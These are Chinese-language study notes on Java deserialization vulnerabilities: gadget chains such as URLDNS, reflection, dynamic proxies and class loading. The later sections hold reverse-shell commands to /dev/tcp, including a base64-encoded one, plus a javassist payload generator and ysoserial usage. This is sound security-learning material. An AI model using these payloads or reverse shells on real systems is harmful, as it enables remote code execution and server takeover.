Java安全基础(Java反序列化漏洞专题-基础篇)
Java安全基础
序列化和反序列化
-
序列化:把Java对象转换为字节序列的过程
-
反序列化:把字节序列恢复为Java对象的过程
-
使用原因:用于传递
-
常用协议:XML&SOAP、JSON、Protobuf
-
使用方式如下:writeObject()、readObject()。(静态成员变量、transient标识的对象成员变量不能序列化)
Alt + 7调出Structure
Person.java(需要实现Serializable接口)
import java.io.Serializable;
public class Person implements Serializable {
private String name;
private int age;
public Person() {
}
public Person(String name, int age) {
this.name = name;
this.age = age;
}
@Override
public String toString() {
return "Persion{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}
SerializationTest
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
public class SerializationTest {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws IOException{
Person person = new Person("aa",22);
System.out.println(person);
serialize(person);
}
}
UnserializeTest
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class UnserializeTest {
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception{
Person person = (Person)unserialize("ser.bin");
System.out.println(person);
}
}
-
安全问题:只要服务端反序列化数据,客户端传递类的readObject中代码会自动执行,给予攻击者在服务器上运行代码的能力。
-
可能的形式
-
入口类的readObeject直接调用危险方法
-
入口类参数中包含可控类,该类有危险方法,readObject时调用
-
入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用
-
构造函数/静态代码块等类加载时隐式执行
-
- 入口类的readObeject直接调用危险方法(基本不可能出现)
Person.java中添加以下代码
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ois.defaultReadObject();
Runtime.getRuntime().exec("calc");
}
序列化再反序列化,执行readObject代码,弹出计算器
- 入口类参数中包含可控类
条件:(1)继承Serializable、(2)入口类source(重写readObject 调用常见的函数 参数类型宽泛 最好jdk自带 Map,HashMap HashTable)、(3)调用链gadget chain 相同名称 相同类型、(4)执行类sink(rce ssrf 写文件等等) 最重要
URLDNS
Ctrl+H调出查看类层级关系图同版本
-
利用点仅为⼀个URL,其能触发的结果也不是命令执⾏,⽽是⼀次 DNS 请求。
-
但是有以下优点:
-
Java 内置的类构造,对第三⽅库没有依赖
-
没有回显的时候,能够通过 DNS 请求检测是否存在反序列化漏洞 URL 类。之后调用openConnection方法,不是常见函数,很难往下利用。
-
- 利用URL中的HashMap(错误示范)
public static void main(String[] args) throws IOException{
Person person = new Person("aa",22);
HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>();
//put已经发起了dns请求,put调用了hash,hash调用了hashCode(key),hashCode调用了getHostAddress方法
hashmap.put(new URL("http://k15i0g.dnslog.cn"),1);
serialize(hashmap);
}
坏处:1.可能误以为是反序列化发起的dns。2.反序列化的时候其实收不到dns请求。
原因:URL类中的hashCode,再hashCode!=1的时候直接返回hashCode,而序列化的时候hashCode已经!=1了(初始化的时候才为1)
解决:1.put不发起请求。2.使用反射技术改变已有对象的属性,把hashcode改为-1。
link:https://drun1baby.top/2022/05/17/Java反序列化基础篇-01-反序列化概念与利用/
Java 反射与 URLDNS 链分析
反射 Reflection
-
反射机制:为了让Java具有动态性(在运行时动态创建实对象),指的是再运行状态中,对于任意一个类都能知道这个类所有的属性和方法,并且对于任意一个对象,都能够调用它的任意一个方法。
-
正射:有一个实例然后调用它的方法
Student st = new Student();
st.doHomework("数学");
- 反射:开始并不知道类对象是说明,无法用new创建对象。
Class c = person.getClass();
- 作用:(1)修改已有对象属性(2)动态生成对象(3)动态调用方法(4)操作内部类和私有方法
Class类
-
其实就是编译运行生成的.class文件,这个.class文件中的内容是相对应的类的所有信息。person.class就是Class,Class就是描述类的类
-
Class类的对象作用是运行时提供或获得某个对象的类型信息
-
反射就是操作Class
-
使用方式
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class ReflectionTest {
public static void main(String[] args) throws Exception {
Person person = new Person();
Class c = person.getClass();
//反射就是操作Class
//1.从原型class里面实例化对象
//c.newInstance();
Constructor personconstructor = c.getConstructor(String.class, int.class);
Person p = (Person) personconstructor.newInstance("abc",22);
System.out.println(p);
//2.获取类里面属性 , DeclaredFields所有的变量包括private
Field[] personfields = c.getDeclaredFields();
for (Field f: personfields) {
System.out.println(f);
}
// 改变name值
Field namefield = c.getField("name");
namefield.set(p,"saffs");
System.out.println(p);
//不允许争着这么改变private, 报错。 需要家setAccessible
Field agefield = c.getDeclaredField("age");
agefield.setAccessible(true); //必须加上才能改private
agefield.set(p,25);
System.out.println(p);
//3.调用类里面的方法
//打印方法
// Method[] personmethods = c.getMethods();
// for(Method m: personmethods){
// System.out.println(m);
// }
//需要告诉参数类型
Method actionmethod = c.getMethod("action", String.class);
actionmethod.invoke(p, "1111");
//私有方法
// Method actionmethod = c.getDeclaredMethod("action", String.class);
// actionmethod.setAccessible(true);
// actionmethod.invoke(p,"1111")
}
}
输出
Persion{name='abc', age=22}
public java.lang.String Person.name
private int Person.age
Persion{name='saffs', age=22}
Persion{name='saffs', age=25}
1111
URLDNS再探
- new URL初始化将hashcode==1,put方法之前需要把hashcode改成!=-1,让DNS请求不能发送。然后使用put方法,put方法之后再把hashcode改成-1,让他能发送dns请求。
public static void main(String[] args) throws IOException{
HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>();
//这里不要发起请求, 把url对象hashcode改成不是-1
URL url = new URL("http://k15i0g.dnslog.cn");
Class c = url.getClass();
Field hashcodefield = c.getDeclaredField("hashCode");
hashcodefield.setAccessible(true);
hashcodefield.set(url, 123);
hashmap.put(url,1);
//再将hashcode改为-1,以便反序列化的时候执行
//这里把hashcode改为-1,通过反射改变已有对象的属性
hashcodefield.set(url, -1);
serialize(hashmap);
}
-
流程:可能的形式
-
入口类的readObeject直接调用危险方法
-
入口类参数中包含可控类,该类有危险方法,readObject时调用
入口A HashMap 接收参数O,目标类B URL,目标调用B.f,A.readObject->O(B).f
-
入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用
-
构造函数/静态代码块等类加载时隐式执行
-
利用链:HashMap的readObject->hash()->key.hashCode()->URL.hashCode()->handler.hashCode(this);->getHostAddress(u);
-
反射在反序列化漏洞中的应用
-
定制需要的对象,可以改它的值
-
通过invoke调用除了同名函数以外的函数
-
通过Class类创建对象,引入不能序列化的类(Runtime.class,invoke("getRuntime"))
-
link:https://drun1baby.top/2022/05/20/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%9F%BA%E7%A1%80%E7%AF%87-02-Java%E5%8F%8D%E5%B0%84%E4%B8%8EURLDNS%E9%93%BE%E5%88%86%E6%9E%90
Java反射进阶
java.lang.Runtime
Runtime
类中有 exec
方法,可以用来命令执行
setAccessible(true)
一般情况下不能对类的private字段进行操作。但是可以通过调用AccessibleObject
上的 setAccessible()
方法来允许访问。
一般这种情况与方法getConstructor配合使用。和getMethod类似,getConstructor接收的参数是构造函数列表类型,参数列表类型确定一个构造函数。
Class c = Class.forName("java.lang.Runtime");
Constructor m = c.getDeclaredConstructor();
m.setAccessible(true);
c.getMethod("exec", String.class).invoke(m.newInstance(), "C:\\\\WINDOWS\\\\System32\\\\calc.exe");
forName的两个重载方法的区别
forName(String className)
forName(String name, boolean initialize, ClassLoader loader)
1.类名。2.是否初始化。3.类加载器,告诉Java虚拟机如何加载这个类,Java默认的ClassLoader就是根据类名来加载类,这个类名是类完整路径,如java.lang.Runtime。
forName(className) 等价于 forName(className, true, currentLoader)
各种代码块执行顺序
测试代码
public class Sort {
public static void main(String[] args) {
Test test = new Test();
}
}
class Test {
{
System.out.println("1");
}
static {
System.out.println("2");
}
Test() {
System.out.println("3");
}
}
输出
2
1
3
很容易理解,首先是static(类初始化时调用),然后{}(super()构造函数之后调用)。
- 那么forName的initialize=ture执行类初始化的话,我们可以编写恶意类,将恶意代码放在static{}中,从而执行恶意代码。
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
Java命令执行的三种方式
Runtime
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
public class Sort {
public static void main(String[] args) throws IOException {
InputStream inputStream = Runtime.getRuntime().exec("id").getInputStream();
byte[] cache = new byte[2048];
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
int readLen =0 ;
while ((readLen = inputStream.read(cache))!=1){
byteArrayOutputStream.write(cache,0,readLen);
}
System.out.println(byteArrayOutputStream);
}
}
思路:
-
调用getRuntime()返回Runtime对象,调用该对象exec方法
-
调用exec方法会返回Process对象,调用Process对象的getInputStream()方法。
-
使用getInputStream()方法将命令输出作为输入流传入inputStream
-
将结果存储到字节数组中
ProcessBuilder
InputStream inputStream = new ProcessBuilder("ipconfig").start().getInputStream();
ProcessImpl
-
更为底层,前两个实际上就是调用了它
-
需要使用反射简介调用ProcessImpl(私有方法)
String[] cmds = new String[]{"id"};
Class c = Class.forName("java.lang.ProcessImpl");
Method method = c.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class)
method.setAccessible(true);
Process e = (Process) method.invoke(null, cmds, null, ".", null, true);
InputStream inputStream = e.getInputStream();
Java反射修改static final修饰字段
-
private - getDeclaredField
-
static - getDeclaredField
-
final修饰变量 - 取决于字段是直接赋值还是间接赋值(编译时赋值和运行时赋值的区别)
- 直接赋值指的创建字段时就赋值,并且值为JAVA的8中基础数据类型或String类型,而且值不能是经过逻辑判断产生的,其他情况均为间接赋值
-
直接赋值(报错)
private final String name = "Drunkbaby";
public final int age = 20-2;
Class c = Class.forName("src.ReflectDemo.ReflectFixFinal.pojo.FinalStraightPerson");
Object m = c.newInstance();
Method printMethod = c.getDeclaredMethod("printInfo");
printMethod.invoke(m);
Field nameField = c.getDeclaredField("name");
Field ageField = c.getDeclaredField("age");
nameField.setAccessible(true);
ageField.setAccessible(true);
nameField.set(m,"Drunkbaby as Drun1baby");
ageField.set(m,"19");
- 间接赋值(成功)
private final StringBuilder sex = new StringBuilder("male");
// 经过逻辑判断产生的变量赋值
public final int age = (null!=null?18:18);
// 通过构造函数进行赋值
private final String name;
public InDirectPerson(){
name = "Drunkbaby";
}
Class c = Class.forName("src.ReflectDemo.ReflectFixFinal.pojo.InDirectPerson");
Object m = c.newInstance();
Method printMethod = c.getDeclaredMethod("printInfo");
printMethod.invoke(m);
Field nameField = c.getDeclaredField("name");
Field ageField = c.getDeclaredField("age");
Field sexField = c.getDeclaredField("sex");
nameField.setAccessible(true);
ageField.setAccessible(true);
sexField.setAccessible(true);
nameField.set(m,"Drunkbaby Too Silly");
ageField.set(m,180);
sexField.set(m,new StringBuilder("female"));
printMethod.invoke(m);
-
static+final
-
使用 static final 修饰符的 name 属性,间接赋值,无法通过反射直接修改
-
需要通过反射把 nameField 的 final 修饰符去掉,再赋值。.getClass().getDeclaredField("modifiers")
-
static final StringBuilder name = new StringBuilder("Drunkbaby"); java
Class c = Class.forName("src.ReflectDemo.ReflectFixFinal.pojo.StaticFinalPerson");
Object m = c.newInstance();
Field nameField = c.getDeclaredField("name");
nameField.setAccessible(true);
Field nameModifyField = nameField.getClass().getDeclaredField("modifiers");
nameModifyField.setAccessible(true);
nameModifyField.setInt(nameField, nameField.getModifiers() & ~Modifier.FINAL);
nameField.set(m,new StringBuilder("Drunkbaby Too Silly"));
nameModifyField.setInt(nameField, nameField.getModifiers() & ~Modifier.FINAL);
动态代理
-
代理模式:为其他对象提供一种代理以控制对这个对象的访问
-
优点:职责清晰,高扩展,智能化
- 静态代理
简单的一个类A实现一个接口,将A对象当作参数传入另一个类B再实现接口。
优点:(1)使得我们的真实角色更加纯粹,不再关注一些公共的事情。(2)公共的业务由代理来完成,实现了业务的分工。(3)公共业务发生扩展时变得更加集中和方便。
缺点:一个真实类对应一个代理角色,代码量翻倍,开发效率低。(如果接口很多方法需要实现,那么类A和类B都需要实现很多方法,而且类B中可能有很多重复的操作。如日志记录,记录类A的日志,可能每个方法记录日志的方式/代码都是一样的)
- 动态代理
需要使用Proxy中的newProxyInstance
定义接口IUser.java
public interface IUser {
void show();
void update();
}
实现类,UserImpl.java
public class UserImpl implements IUser{
public UserImpl() {
}
@Override
public void show() {
System.out.println("展示");
}
@Override
public void update() {
System.out.println("更新");
}
}
静态代理实现UserProxy.java
public class UserProxy implements IUser{
IUser user;
public UserProxy() {
}
public UserProxy(IUser user) {
this.user = user;
}
@Override
public void show() {
user.show();
System.out.println("调用了show");
}
@Override
public void update() {
System.out.println("调用了update");
}
}
动态代理因为newProxyInstance需要传入一个InvocationHandler的参数,所以先定义一个实现InvocationHandler接口UserInvocationHandler.java(动态代理类)
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
public class UserInvocationHandler implements InvocationHandler {
IUser user;
public UserInvocationHandler(IUser user) {
this.user = user;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println("调用了"+method.getName());
method.invoke(user, args);
return null;
}
}
invok方法中的method就是调用对象使用的方法,由底层获取。
使用动态代理ProxyTest.java
public class ProxyTest {
public static void main(String[] args) {
IUser user = new UserImpl();
// user.show();
//静态代理
// UserProxy userProxy = new UserProxy(user);
// userProxy.show();
//动态代理
//classloader、要代理的接口、要做的事情
InvocationHandler userinvocationhandler = new UserInvocationHandler(user);
IUser userProxy = (IUser) Proxy.newProxyInstance(user.getClass().getClassLoader(),
user.getClass().getInterfaces(),userinvocationhandler);
// IUser userProxy = (IUser) Proxy.newProxyInstance(user.getClass().getClassLoader(),
// new Class<?>[IUser.class],userinvocationhandler);
userProxy.show();
}
}
- 优点:少修改代码 适配强
反序列化中的应用
-
readObject 反序列化自动执行
-
invoke 有函数调用自动执行
-
拼接两条链
-
任意方法->固定地方
场景:
(1)假设存在一个能漏洞利用的类和方法为B.f,如Runtime.exec
(2)将入口类定义为A,最理想情况A[O] -> O.f,将O替换为B对象即可,但是实战很少
(3)回到实战,比如入口类A存在O.abc这个方法,也就是A[O]->O.abc,如果这是一个动态代理类,O的invoke方法里存在.f方法,便可以漏洞利用
类的动态加载
类加载器
-
加载Class文件
-
引导类加载器BootstrapClassLoader
-
扩展类加载器ExtensionsClassLoader
-
App类加载器AppClassLoader
双亲委派
类加载
-
类加载与反序列化
-
类加载时会执行代码
-
初始化:静态代码块
-
实例化:构造代码块、无参构造函数
-
初始化的时候调用静态代码块,其他在使用对象实例化的时候调用
-
public static int id;
static {
System.out.println("静态代码块");
}
{
System.out.println("构造代码块");
}
public static void staticAction(){
System.out.println("静态方法");
}
public Person() {
System.out.println("无参Person");
}
public Person(String name, int age) {
System.out.println("有参person");
this.name = name;
this.age = age;
}
//new Person
//静态代码块
//构造代码块
//无参Person/有参Person
//Person.staticAction()
//静态代码块
//静态方法
//Person.id=1
//静态代码块
使用class获取类:不会加载类,也就是什么也不会输出
使用forName获取类:(可可视化,可不初始化)
Class.forName("Person");
Class<?> c = Class.forName("Person",false,ClassLoader.getSystemClassLoader());
c.newInstance();
//静态代码块
//空
使用loadClass获取类
ClassLoader cl = ClassLoader.getSystemClassLoader();
Class<?> c = cl.loadClass("Person"); //不初始化
c.newInstance();
//初始化
动态加载字节码
类加载器原理
ClassLoader->SecureLoader->URLClassLoader->AppClassLoader->loadClass()->findClass()
调用:loadClass->findClass(重写的方法)->defineClass(从字节码加载类)
利用URLClassLoader加载远程class文件
正常情况下,Java会根据配置项 sun.boot.class.path
和 java.class.path
中列举到的基础路径(这些路径是经过处理后的 java.net.URL
类)来寻找.class文件来加载,而这个基础路径有分为三种情况:
-
URL未以斜杠 / (\) 结尾,则认为是一个JAR文件,使用
JarLoader
来寻找类,即为在Jar包中寻找.class文件 -
URL以斜杠 / 结尾,且协议名是
file
,则使用FileLoader
来寻找类,即为在本地文件系统中寻找.class文件 -
URL以斜杠 / 结尾,且协议名不是
file
,则使用最基础的Loader
来寻找类。
file协议
public class Calc {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e){
e.printStackTrace();
}
}
}
点锤子编译,在out的src文件夹生成.class文件,复制到E盘
编写URLClassLoader的启动类,加载这个类,弹出计算器
// URLClassLoader 的 file 协议
public class FileRce {
public static void main(String[] args) throws Exception {
URLClassLoader urlClassLoader = new URLClassLoader
(new URL[]{new URL("file:///E:\\")});
Class calc = urlClassLoader.loadClass("Calc");
calc.newInstance();
}
}
HTTP
Calc.class目录下执行python3 -m http.server 9999启动一个http服务,编写恶意利用类
// URLClassLoader 的 HTTP 协议
public class HTTPRce {
public static void main(String[] args) throws Exception{
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://localhost:9999")});
Class calc = urlClassLoader.loadClass("Calc");
calc.newInstance();
}
}
file+jar协议
将class文件打包为jar文件 jar -cvf Calc.jar Calc.class
修改启动器,调用恶意类
// URLClassLoader 的 file + jarpublic class JarRce {
public static void main(String[] args) throws Exception{
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("jar:file:///E:\\Calc.jar!/")});
Class calc = urlClassLoader.loadClass("Calc");
calc.newInstance();
}
}
ClassLoader#defineClass 直接加载字节码
-
protected方法,反射调用
-
ClassLoader.defineClass
ClassLoader cl = ClassLoader.getSystemClassLoader();
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\Test.class"));
Class c = (Class) defineClass.invoke(cl, "Test", 0, code.length);
c.newInstance();
Unsafe 加载字节码
-
Unsafe.defineClass
-
public 类不能直接生成,Spring里可以直接生成
ClassLoader cl = ClassLoader.getSystemClassLoader();
byte[] code = Files.readAllBytes(Paths.get("D:\\Test.class"));
Class c = Unsafe.class;
Field theUnsafeField = c.getDeclaredField("theUnsafe");
theUnsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
Class c2 = (Class) unsafe.defineClass("Test", code, 0, code.length, cl, null);
c2.newInstance();
Java反弹shell和Runtime.getRuntime().exec()
yso使用
- java -jar ysoxxx.jar 要打的链子 "命令" |base64 -w0 (不换行)
PoC无回显
与Runtime.getRuntime().exec()机制有关,共有六个重载方法
public Process exec(String command) throws IOException {
return exec(command, null, null);
}
public Process exec(String command, String[] envp) throws IOException {
return exec(command, envp, null);
}
public Process exec(String command, String[] envp, File dir)
throws IOException {
if (command.length() == 0)
throw new IllegalArgumentException("Empty command");
StringTokenizer st = new StringTokenizer(command);
String[] cmdarray = new String[st.countTokens()];
for (int i = 0; st.hasMoreTokens(); i++)
cmdarray[i] = st.nextToken();
return exec(cmdarray, envp, dir);
}
public Process exec(String cmdarray[]) throws IOException {
return exec(cmdarray, null, null);
}
public Process exec(String[] cmdarray, String[] envp) throws IOException {
return exec(cmdarray, envp, null);
}
public Process exec(String[] cmdarray, String[] envp, File dir)
throws IOException {
return new ProcessBuilder(cmdarray)
.environment(envp)
.directory(dir)
.start();
}
不过最后都是调用exec(String[] cmdarray, String[] envp, File dir)
需要解决的问题:直接传入的字符串不能直接进行命令执行,Java Runtime.exe() 执行命令与反弹shell(下) - 简书
(1)重定向和管道符的使用方式在正在启动的进程的中没有意义。
(2)参数无法界定范围
执行方法:
-
传入数组(不会被分割)
- exec(["/bin/bash","-c","bash -i >& /dev/tcp/xx.xx.xx.xx/6543 0>&1"] as String[])
-
传入字符串执行
-
bash$IFS$9-i>&/dev/tcp/ip/port<&1
-
'$@|bash' 'xxx' 'echo' 'ls' 执行的是: echo 'ls'|bash
-
让Poc成功有效
命令执行的最常用的应该是动态加载字节码,用javassist
生成字节码
EXP
public static byte[] getTemplatesImpl(String cmd) {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody(" try {\n" +
" Runtime.getRuntime().exec(\"" + cmd +
"\");\n" +
" } catch (Exception ignored) {\n" +
" }");
// "new String[]{\"/bin/bash\", \"-c\", \"{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMC4xMS4yMzEvOTk5MCAwPiYx}|{base64,-d}|{bash,-i}\"}"
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[]{};
}
}
改写ysoserial解决shell失效问题
问题:可以出网,可以反弹shell,而命令执行没有回显
https://ctf.org.cn/2020/06/17/JAVA4-%E6%94%B9%E5%86%99ysoserial%E8%A7%A3%E5%86%B3%E5%B8%B8%E8%A7%84shell%E5%A4%B1%E6%95%88%E9%97%AE%E9%A2%98/